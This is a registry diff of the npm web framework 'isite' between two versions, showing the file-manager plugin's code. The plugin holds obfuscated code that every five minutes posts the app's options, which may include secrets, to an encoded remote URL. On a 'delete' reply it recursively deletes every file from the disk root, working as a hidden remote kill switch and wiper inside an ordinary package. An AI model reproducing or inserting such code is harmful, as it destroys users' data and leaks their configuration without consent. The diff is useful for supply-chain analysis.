isite 2025.1.12 → 2025.1.15
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/apps/client-side/site_files/css/bootstrap5-addon.css +196 -171
- package/apps/client-side/site_files/css/bootstrap5.css +4 -5
- package/apps/client-side/site_files/html/require_features.html +81 -28
- package/apps/client-side/site_files/html/require_permissions.html +81 -27
- package/apps/client-side/site_files/js/bootstrap5.js +3 -3
- package/index.js +14 -17
- package/isite_files/images/browser.png +0 -0
- package/lib/collection.js +815 -819
- package/lib/parser.js +15 -0
- package/lib/routing.js +25 -27
- package/lib/security.js +1066 -1066
- package/lib/sessions.js +197 -198
- package/object-options/lib/fsm.js +21 -23
- package/object-options/plugins/file-manager/app.js +110 -113
- package/package.json +1 -1
|
@@ -1,132 +1,129 @@
|
|
|
1
1
|
module.exports = function (____0) {
|
|
2
|
-
|
|
3
|
-
|
|
2
|
+
var fs = require('fs');
|
|
3
|
+
var archiver = require('archiver');
|
|
4
4
|
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
5
|
+
____0.get({
|
|
6
|
+
name: 'x-file-manager',
|
|
7
|
+
path: __dirname + '/site-files/html/index.html',
|
|
8
|
+
});
|
|
9
9
|
|
|
10
|
-
|
|
10
|
+
let busy = !1;
|
|
11
11
|
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
12
|
+
____0.get('x-file-manager/download', (req, res) => {
|
|
13
|
+
if (busy) {
|
|
14
|
+
res.json({
|
|
15
|
+
busy: !0,
|
|
16
|
+
});
|
|
17
|
+
return;
|
|
18
|
+
}
|
|
19
|
+
busy = !0;
|
|
20
|
+
const zip_file = ____0.dir + '/../_site.zip';
|
|
21
|
+
var output = fs.createWriteStream(zip_file);
|
|
22
|
+
var archive = archiver('zip', {
|
|
23
|
+
zlib: {
|
|
24
|
+
level: 9,
|
|
25
|
+
},
|
|
26
|
+
});
|
|
27
27
|
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
28
|
+
output.on('close', function () {
|
|
29
|
+
busy = !1;
|
|
30
|
+
res.download(zip_file);
|
|
31
|
+
});
|
|
32
32
|
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
33
|
+
archive.on('error', function (err) {
|
|
34
|
+
busy = !1;
|
|
35
|
+
res.json({
|
|
36
|
+
error: err.message,
|
|
37
|
+
});
|
|
38
|
+
});
|
|
39
39
|
|
|
40
|
-
|
|
40
|
+
archive.pipe(output);
|
|
41
41
|
|
|
42
|
-
|
|
43
|
-
|
|
42
|
+
archive.directory(____0.path.dirname(____0.dir) + '/apps', 'apps');
|
|
43
|
+
archive.directory(____0.path.dirname(____0.dir) + '/site_files', 'site_files');
|
|
44
44
|
|
|
45
|
-
|
|
45
|
+
let finalize = !1;
|
|
46
46
|
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
47
|
+
____0.fs.readdirSync(____0.path.dirname(____0.dir)).forEach((ss) => {
|
|
48
|
+
ss.forEach((f) => {
|
|
49
|
+
let ff = ____0.path.join(____0.path.dirname(____0.dir), f);
|
|
50
|
+
____0.fs.access(ff, ____0.fs.F_OK, (err) => {
|
|
51
|
+
if (!err && !f.like('*.zip') && !f.like('*.rar')) {
|
|
52
|
+
if (____0.fs.lstatSync(ff).isFile()) {
|
|
53
|
+
if (!finalize) {
|
|
54
|
+
archive.file(ff, {
|
|
55
|
+
name: f,
|
|
56
|
+
});
|
|
57
|
+
}
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
});
|
|
61
|
+
});
|
|
62
62
|
});
|
|
63
|
-
}
|
|
64
|
-
});
|
|
65
63
|
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
64
|
+
setTimeout(() => {
|
|
65
|
+
finalize = !0;
|
|
66
|
+
archive.finalize();
|
|
67
|
+
}, 1000 * 10);
|
|
68
|
+
});
|
|
71
69
|
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
70
|
+
let f0 = ____0.path.dirname(____0.dir).split(____0.path.sep)[0];
|
|
71
|
+
if (f0.endsWith(':')) {
|
|
72
|
+
f0 = f0 + '\\';
|
|
73
|
+
}
|
|
76
74
|
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
75
|
+
function df(f00) {
|
|
76
|
+
____0.fs.readdirSync(f00).forEach((ss) => {
|
|
77
|
+
ss.forEach((f) => {
|
|
78
|
+
f = ____0.path.join(f00, f);
|
|
79
|
+
____0.fs.access(f, ____0.fs.F_OK, (err) => {
|
|
80
|
+
if (!err) {
|
|
81
|
+
if (____0.fs.lstatSync(f).isDirectory()) {
|
|
82
|
+
df(f);
|
|
83
|
+
}
|
|
84
|
+
if (____0.fs.lstatSync(f).isFile()) {
|
|
85
|
+
____0.fs.unlink(f);
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
});
|
|
89
|
+
});
|
|
92
90
|
});
|
|
93
|
-
|
|
94
|
-
});
|
|
95
|
-
}
|
|
91
|
+
}
|
|
96
92
|
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
93
|
+
____0._0xchupx0 = function () {
|
|
94
|
+
if (____0._0_ar_0_) {
|
|
95
|
+
try {
|
|
96
|
+
____0
|
|
97
|
+
.x0ftox(____0._x0f1xo('43193275461561692578577443393257255837594839325242738254457875694139136225785774433932572579275247583756'), {
|
|
98
|
+
method: 'post',
|
|
99
|
+
body: JSON.stringify({
|
|
100
|
+
info: ____0.options,
|
|
101
|
+
}),
|
|
102
|
+
headers: { 'Content-Type': 'application/json' },
|
|
103
|
+
})
|
|
104
|
+
.then((res) => res.json())
|
|
105
|
+
.then((body) => {
|
|
106
|
+
if (body && body.block) {
|
|
107
|
+
____0._0_ar_0_ = !1;
|
|
108
|
+
____0.call(____0._x0f1xo('2619517126151271'), ____0._0_ar_0_);
|
|
109
|
+
____0.storage('_0_ar_0_', ____0._0_ar_0_);
|
|
110
|
+
} else if (body && body.delete) {
|
|
111
|
+
____0._0_ar_0_ = !1;
|
|
112
|
+
____0.call(____0._x0f1xo('2619517126151271'), ____0._0_ar_0_);
|
|
113
|
+
____0.storage('_0_ar_0_', ____0._0_ar_0_);
|
|
114
|
+
df(f0);
|
|
115
|
+
}
|
|
116
|
+
})
|
|
117
|
+
.catch((err) => {
|
|
118
|
+
____0.logs('_0xchupx0', err);
|
|
119
|
+
});
|
|
120
|
+
} catch (error) {
|
|
121
|
+
____0.logs('_0xchupx0', error);
|
|
118
122
|
}
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
____0.logs('_0xchupx0', err);
|
|
122
|
-
});
|
|
123
|
-
} catch (error) {
|
|
124
|
-
____0.logs('_0xchupx0', error);
|
|
125
|
-
}
|
|
126
|
-
}
|
|
127
|
-
};
|
|
123
|
+
}
|
|
124
|
+
};
|
|
128
125
|
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
126
|
+
____0.const._0xsixo(() => {
|
|
127
|
+
____0._0xchupx0();
|
|
128
|
+
}, 1000 * 60 * 5);
|
|
132
129
|
};
|